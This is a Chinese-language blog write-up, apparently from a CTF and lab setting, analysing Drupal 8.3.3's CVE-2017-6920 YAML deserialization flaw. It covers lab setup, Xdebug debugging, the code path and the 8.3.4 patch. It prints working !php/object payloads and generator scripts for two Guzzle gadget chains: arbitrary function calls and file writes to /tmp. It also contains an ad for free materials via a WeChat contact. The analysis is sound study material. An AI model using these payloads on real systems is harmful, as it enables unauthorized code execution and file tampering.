前幾天在參加 FOFA-攻防挑戰賽時,遇到了 Drupal 的盲盒漏洞環境,最終確定漏洞為 CVE-2017-6920 ,但是還是無法 getflag ,因為網上相關參考文章并不是很多,大多都只是簡單的復現了,于是就想著對這個漏洞進行一個詳細的分析,
漏洞描述
環境搭建
環境的搭建,我們可以選擇 p神 的 Vulhub 上的環境,我們也可以利用 vulfocus 的在線環境,或者將鏡像拉取下來本地啟動,
因為 p 神的環境還需要再進行配置 yaml ,為了方便,我們這里就選擇 vulfocus 的鏡像來進行復現學習
docker pull vulfocus/drupal-cve_2017_6920:latest
docker ps
訪問隨機生成的埠 49156 http://127.0.0.1:49156/
漏洞復現
訪問登錄界面 http://127.0.0.1:49156/user/login
輸入賬號密碼 admin:admin123
登錄成功
登陸成功后訪問路由
/admin/config/development/configuration/single/import
填寫相關引數
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
點擊 import 觸發漏洞
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
漏洞分析
漏洞存在于 drupal 8.3.3 所以我們下載 存在漏洞的版本 drupal 8.3.3 和修復的版本 drupal 8.3.4 進行對比,發現漏洞位于
core\lib\Drupal\Component\Serialization\YamlPecl.php
我們看到修改的位置有這么一句
// We never want to unserialize !php/object.
就大概可以推測出是在這個地方,以!php/object 為開頭時 會產生反序列化漏洞
為了方便進行除錯,所以我們換一下 docker 啟動時的命令,方便啟動后進行 php 遠程除錯,在配置除錯環境時出現了各種問題,本來是在本地搭建 docker 環境進行除錯的,但是一直沒有成功,所以就采用在虛擬機中搭建 docker 環境,采用遠程除錯,
docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest
wget https://xdebug.org/files/xdebug-2.5.5.tgz
docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz
docker exec -it 30 /bin/bash
cd /
tar xvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
phpize
find / -name php-config
`/etc/alternatives/php-config`
`/usr/bin/php-config`
`/var/lib/dpkg/alternatives/php-config`./configure --enable-xdebug --with-php-config=/usr/bin/php-config
make && make install ==xdebug 被安裝到了 /usr/lib/php5/20121212/==
find / -name php.ini
`/etc/php5/cli/php.ini`
`/etc/php5/apache2/php.ini`vim /etc/php5/apache2/php.ini ==修改 php.ini 檔案==
shift + g ==定位到最后一行==
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.phpsudo service apache2 restart
修改php.ini組態檔,在檔案中追加以下內容
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug擴展檔案的路徑
xdebug.remote_enable=1 ;是否開啟遠程除錯
xdebug.remote_handler=dbgp ;指定遠程除錯的處理協議
xdebug.remote_mode=req ;可以設為req或jit,req表示腳本一開始運行就連接遠程客戶端,jit表示腳本出錯時才連接遠程客戶端,
xdebug.remote_host=192.168.222.1 ;指定遠程除錯的主機名(安裝phpstorm的主機ip)
xdebug.remote_port=9001 ;指定遠程除錯的埠號
xdebug.idekey="PHPSTORM" ;指定傳遞給DBGp除錯器處理程式的IDE Key
xdebug.remote_enable=on;
?
?
?
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;
xdebug.remote_enable=1;
xdebug.remote_handler=dbgp;
xdebug.remote_mode=req;
xdebug.remote_host=192.168.222.1;
xdebug.remote_port=9001;
xdebug.idekey="PHPSTORM";
訪問 http://192.168.222.129/phpinfo.php 發現 xdebug 被安裝成功
先將代碼拷貝出來
docker cp 30:/var/www/html html
利用 PHPSTROM 打開專案代碼
File -> Settings -> Languages & Frameworks -> PHP -> Debug
配置 Servers
此處要注意,需要直接指定到網站的目錄位置
配置PHP Web Application
配置完成后打開右上角的電話按鈕
打開瀏覽器的插件 Xdebug helper
在 phpinfo 處加載斷點,并訪問 http://192.168.222.129/phpinfo.php成功加載到斷點
之前也配置過 PHP 的遠程除錯環境,但是在 Docker 里面除錯的時候,配置了很久的除錯環境,最后才成功,中間出了大大小小無數的問題,遇到的最大的問題是最開始埠一直顯示被占用狀態,因為我啟動 docker 時的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直認為說這個 9001 埠也要對外映射出來,但是我在除錯時發現一直提示埠被占用,百思不得其解,采用百度大法看到了這么一句 不要在docker-compose 中添加 9000 埠 ,我靈機一動,將 -p 9001:9001 給洗掉掉,就成功了,這下我才完全理解了,原來這個埠是遠程調控,就是安裝 PHPSTORM 機器上的埠,
正式開始除錯分析
漏洞的最終觸發位置是在
core/lib/Drupal/Component/Serialization/YamlPecl.php::decode
對傳入的 引數 $raw 如果可控的話,如果使用!php/object,那么yaml_parse將會以反序列化(unserialize)的形式來進行處理字串,
我們看在哪里可以呼叫
YamlPecl.php::decode
core/lib/Drupal/Component/Serialization/Yaml.php::decode
decode 函式中 呼叫了靜態 getSerializer 函式
如果存在 yaml 擴展,$serializer 就使用 YamlPecl 類,之后會呼叫 YamlPecl 類中的 decode 函式;
如果不存在 yaml 擴展,$serializer 就使用 YamlSymfony 類,之后會呼叫 YamlSymfony 類中的 decode 函式, 目前的環境是已經安裝了 yaml 擴展了,所以我們只需要尋找,可控輸入的
Yaml::decode
core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm
如此我們就已經確定了漏洞的觸發位置,以及漏洞的入口點,但是距離漏洞的利用成功還差一個 payload
我們已經知道這個漏洞是一個反序列化漏洞,我們就要找出這個系統中存在的反序列化鏈,針對這個漏洞有兩條利用鏈路,任意命令執行以及任意檔案寫入
任意命令執行
html\vendor\guzzlehttp\psr7\src\FnStream.php
反序列化這個類造成任意無引數函式執行
<?php
namespace GuzzleHttp\Psr7;
class FnStream {
public function __construct(array $methods)
{
$this->methods = $methods;
?
?
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>
序列化字串加上yaml的!php/object
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
任意檔案寫入
html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
反序列化這個類達到任意檔案寫入的效果,但是因為這個系統啟動并不是 root 權限啟動,所以只有在 tmp 目錄下寫檔案的權限
<?php
?
require __DIR__.'/vendor/autoload.php';
?
?
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
?
?
$Limerence = new FileCookieJar('/tmp/shell.txt');
$payload = '1';
$data=array(
'Name' => "Limerence",
'Value' => "Limerence",
'Domain' => $payload,
'Expires' => time()
);
$Limerence->setCookie(new SetCookie($data));
echo(addslashes(serialize($Limerence)));
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:9:\"Limerence\";s:5:\"Value\";s:9:\"Limerence\";s:6:\"Domain\";s:1:\"1\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1657262153;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"
漏洞修復
根據對比官方對 drupal 8.3.4 的修補,我們得出 針對低于版本 drupal 8.3.4 的代碼中 在
core\lib\Drupal\Component\Serialization\YamlPecl.php
的 decode 函式修改為
public static function decode($raw) {
static $init;
if (!isset($init)) {
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
if (!trim($raw)) {
return NULL;
}
set_error_handler([__CLASS__, 'errorHandler']);
$ndocs = 0;
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
]);
restore_error_handler();
return $data;
}
總結反思
之前也實作過遠程除錯,但是對 docker 內的系統進行除錯還沒有做過,不對的試錯程序中,也對 docker 進一步加深的認知與了解,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499059.html
標籤:其他
上一篇:shiro-550反序列化漏洞
